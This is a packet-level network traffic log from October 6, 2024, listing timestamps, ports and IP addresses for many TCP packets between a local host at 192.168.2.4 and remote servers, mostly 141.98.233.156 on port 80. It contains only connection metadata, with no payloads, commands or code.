Oct 6, 2024 22:33:16.710362911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710377932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710411072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710419893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710454941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710477114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710486889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710501909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710536003 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710541964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710575104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710589886 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710607052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710621119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710645914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710652113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710688114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710695982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710738897 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710745096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710777998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710792065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710810900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710820913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710844994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710855007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710879087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710889101 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710922956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710931063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.710974932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.710982084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711020947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711025000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711054087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711070061 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711087942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711102962 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711119890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711132050 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711153984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711165905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711186886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711200953 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711220026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711231947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711251020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711267948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711282969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711292982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711318016 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711328030 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711349010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711363077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711410046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711491108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711522102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711538076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711555004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711568117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711589098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711601019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711623907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711632013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711657047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711668015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711690903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711699963 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711723089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711734056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711756945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711766958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711786985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711798906 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711818933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711832047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711853027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711860895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711885929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711895943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711920977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711930037 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711954117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711963892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.711987972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.711997032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712022066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712033987 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712055922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712065935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712091923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712101936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712143898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712245941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712279081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712291002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712311983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712326050 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712344885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712357998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712378025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712388992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712412119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712421894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712446928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712454081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712480068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712491035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712513924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712546110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712560892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712579012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712610006 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712611914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712644100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712644100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712662935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712677002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712687016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712713957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.712723970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712766886 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.712980986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713015079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713027954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713048935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713061094 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713083029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713092089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713115931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713125944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713150024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713160038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713184118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713196993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713217020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713231087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713251114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713263988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713284969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713295937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713318110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713327885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713351011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713361025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713385105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713392973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713419914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713429928 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713453054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713464975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713486910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713498116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713521004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713529110 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713555098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713565111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713588953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713597059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713620901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713633060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713664055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713937044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.713985920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.713988066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714021921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714032888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714055061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714065075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714087963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714107990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714122057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714139938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714154959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714169979 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714189053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714199066 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714222908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714235067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714257956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714273930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714291096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714303017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714324951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714334965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714359045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714366913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714392900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714404106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714427948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714436054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714462042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714474916 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714494944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714505911 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714530945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714543104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714565039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714576960 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714598894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714606047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714632034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714648008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714679003 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714792967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714826107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714839935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714859009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714869976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714893103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714901924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714930058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714939117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.714965105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.714973927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.715006113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.715017080 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.715049028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.724560022 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.725209951 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.725233078 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.725888968 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.725898981 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.786504984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786542892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786556959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786581039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786596060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786606073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.786609888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786627054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786637068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.786643982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786660910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786676884 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786678076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.786689997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.786695957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786714077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786721945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.786741018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.786766052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.786782026 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.786819935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786834955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786850929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786868095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786875010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.786886930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.786895990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.786912918 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.786961079 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.786979914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.786993980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787010908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787010908 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.787038088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787058115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787117004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787132978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787147999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787163973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787173033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787178040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787194967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787197113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787209988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787221909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787226915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787241936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787246943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787259102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787261009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787272930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787276983 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.787286997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787290096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787296057 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.787308931 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.787311077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787316084 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.787318945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787822008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787837982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787853003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787868977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787878036 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787883997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787900925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787903070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787914038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787918091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787933111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787940979 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787947893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787950039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787965059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787967920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787980080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.787987947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.787998915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.788007021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788017988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.788022041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788038015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788052082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788058996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.788068056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788081884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.788084984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788100958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788109064 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.788116932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788131952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788131952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.788147926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788156986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.788163900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788178921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788182020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.788199902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.788228989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.788784027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788813114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788827896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788842916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788857937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788858891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.788867950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.788873911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788887978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788889885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.788903952 CEST	80	49741	141.98.233.156	192.168.2.4
